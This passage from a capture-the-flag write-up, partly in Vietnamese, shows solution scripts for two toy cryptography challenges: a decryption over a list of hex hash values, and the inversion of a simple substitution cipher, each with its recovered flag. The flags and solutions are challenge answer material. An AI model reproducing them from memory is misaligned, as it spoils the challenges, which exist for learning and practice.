ct = ['f189636f8eef640b55d03387864fd17efd324453cc9276be5ff6bd4da88b13fca72438daaab00830a6d14330d37c0f7bee1e7c32d5dda0541a171f66a2343dc1', '1388cafa58065fa0c04372ce57f303cc4ec9fe62', 'f6266e2849bf8b8575701814cc3f3eb5369e887db54b34e85b1e4608b4fbf5e5', '31f33ac191e818db784cf8321d70f84763db2b2e599f90cf65868eec85a10f20ae0e23aa1cd48c2f13eec355b2975089490761a291ac2a1bcf33f5fbecead431', '981e4bce5dede3faa51a936f650e2c1d64169493860c67d68a1ffbbfa32f58598e7869f3f11aefc1620ee8d3ebe4e5f5', 'f06ffaaa6290bf47d26ba2c09c28dddd8f5bcad6ac464ec17fea48040acf1214d10bc109b7c47cffddb6bccd6b61b61a9e629a8f47ab26b80593f29c8c297489', 'a7d95b3bbde885b4eaa76afc6572e18e4483351005f637fe1f5a7bc0b000fe1f', '85245de371c327440a5f343f27d6df361225806e679950bab3a5a336', 'ea1923e909de3c3c3384ad9ae7696d73', '21df20aab35967470aada32375f535d4a735789bf0789fd421f85163c4d75c6e', 'b9491ae1a9de40d30a86c00139bd7d6f496f5bf4ce013bc2d5a43a97', '03f061f60f3527b15ff31d31dcce0761', '981e4bce5dede3faa51a936f650e2c1d64169493860c67d68a1ffbbfa32f58598e7869f3f11aefc1620ee8d3ebe4e5f5', 'f2a1a7e9dd5e6363050b0cdb0579ebfebdc5e348ab538bdcf47616139351cf2b9f92cb4d14446b3ad8bf182875b81e75', '24aaafc58a2b897aed5829b2e96d73b1de7cd680d76a1143cdc8baef', '6d80d11e5f1161ef86619dcdb186852b5218d6ac224b81b63555fe73741631c36ae0bcb5b3228fbed796c22dedeed587c9d65ddb825aee4fae92b6619e7ffd8f', '6f8b39550106044625102ee0cabf9fe1393f0013388633d5742fcc7e8df7708793a96885b9d18b795a2b0d9014704b9f', 'ddf3c543be9cac44f3af078583fe5fddb64104d93308c146c23f52ff25b2a6e23606c42dc0060a4dd9b11b446759cb5de1844471eb3d6d25c43c6fcc0d8d60c4', '95f2739053cf64555b0c0662b5e2d63822433f7fcac6960de6d57efda427461a58c6e2ffac6da6f4caa9407df10cc0be', 'a1bd4e0efc7ce8bd1d63433a0baa87e3a486fbfe2729d73d1dbf7d2822d201ee8726c6d94da1f09f1a53554e440ad6041ecab545b2085dc28c6f6849f0fcea23', 'a7d95b3bbde885b4eaa76afc6572e18e4483351005f637fe1f5a7bc0b000fe1f', '2b4561a521a82af6a26dfb76078ca97ba53a720f7ee67d923a6d3a13', 'b21ed1f3d501a8a842ef1b26ed3863cf10cf8231ee23a079f749cfa322702c8e', 'd798a32b52384219f8779dccf8b2173f4b73f075cbeb4507ee83c94e', 'b863fa3492fb87edcdef766f38a508ed', '9f876db4b58c1b7e499f35cdbd533a810060a0c8250bfc5421e0f42b2715b027', '4b14748ba0f3da581ddd7ec49dac41d34ea1ee6dae90818333b11501', '85153b2a5f8dea7f5488906cb65d61e9ac0666057636ff6b356dd4d8d0fc5d20', '6b91d6259827176bcb3f312a8faca297e56c7e627235b930cf8163b3e7a5328b', 'b21ed1f3d501a8a842ef1b26ed3863cf10cf8231ee23a079f749cfa322702c8e', '4c8740f90af1055f194a4c8e1b69522da228812465eb72b82b35c927bc48bf9d', 'b248b6b2f2c9365aa9a0e9b37a8057effd29bb2f34c79ec0b40124d08986832b5d227db95cb97b176541589985762d9a', '7260f9b5d1c58d0609523114ed324f396335d940f852dba558461b34c5a53630', 'a1bd4e0efc7ce8bd1d63433a0baa87e3a486fbfe2729d73d1dbf7d2822d201ee8726c6d94da1f09f1a53554e440ad6041ecab545b2085dc28c6f6849f0fcea23', '1077caf3ed754ed8fbd49c76134906e8', 'f3565219d115ec74a85056997cc25e98e3e4912a31c858c1e45b841047698e93', '83315b8fa07a35b12e3f47ebb365268b4a4a8ef2', '64c008d6460c2b98aba616b1d0d11a06b9df564b87d3aeedda83b36aacd3d0c160465109eb06c62e86e360cf026faa27a616dbbf2bec269be9ad128af96073bb', '60bbd94b3ac3ea7149fc6cd850d72d4f1750601275832815dd9a23d4c3757d84aca29d716da5dd72a0045f15ff969925', '94327e8c8321421e72f52cd726336e824630ec7dda31b07ce83f11b8234aea7a', 'a69ef62254280226cc4223a2341c727afcd7ce4e3ffd3f2f1c57d9d3cd30659b52b1c2b56f911a7157041b5f0ff8176f', '3c904622c8d8d79c6704d50ae0175b049b3a5708705ecdce932fe426b9f46f1bd6585b8288c1d38f6301c31af5feac02', 'a3939bf491ffd9824056e249d6e355d8423855f0']
    
flag = decrypt_flag(ct)
print(flag)
```
</details>

> Flag: W1{are_you_trying_to_predict_randomness@_@}

## SUBTITUTION
Ở bài này, mình thấy rằng đoạn code đối chiếu qua các phần tử của KEY. Vậy từ KEY, mình tạo một mảng ngược lại với KEY và đối chiếu thì sẽ được flag.
<details>
<summary>exploit.py</summary>
    
```python=
KEY = {
    'A': 'Q', 'B': 'W', 'C': 'E', 'D': 'R', 'E': 'T', 'F': 'Y', 'G': 'U', 'H': 'I', 'I': 'O',
    'J': 'P', 'K': 'A', 'L': 'S', 'M': 'D', 'N': 'F', 'O': 'G', 'P': 'H', 'Q': 'J', 'R': 'K',
    'S': 'L', 'T': 'Z', 'U': 'X', 'V': 'C', 'W': 'V', 'X': 'B', 'Y': 'N', 'Z': 'M',
    'a': 'q', 'b': 'w', 'c': 'e', 'd': 'r', 'e': 't', 'f': 'y', 'g': 'u', 'h': 'i', 'i': 'o',
    'j': 'p', 'k': 'a', 'l': 's', 'm': 'd', 'n': 'f', 'o': 'g', 'p': 'h', 'q': 'j', 'r': 'k',
    's': 'l', 't': 'z', 'u': 'x', 'v': 'c', 'w': 'v', 'x': 'b', 'y': 'n', 'z': 'm',
}
REVERSE_KEY = {v: k for k, v in KEY.items()}
def hehe(data, key):
    return ''.join(key.get(char, char) for char in data)

def decrypt(ciphertext):
    return hehe(ciphertext, REVERSE_KEY)

if __name__ == "__main__":
    encrypted = "V1{lxwlzozxzogf}"
    decrypted = decrypt(encrypted)
    print("Decrypted message:", decrypted)

```
</details>
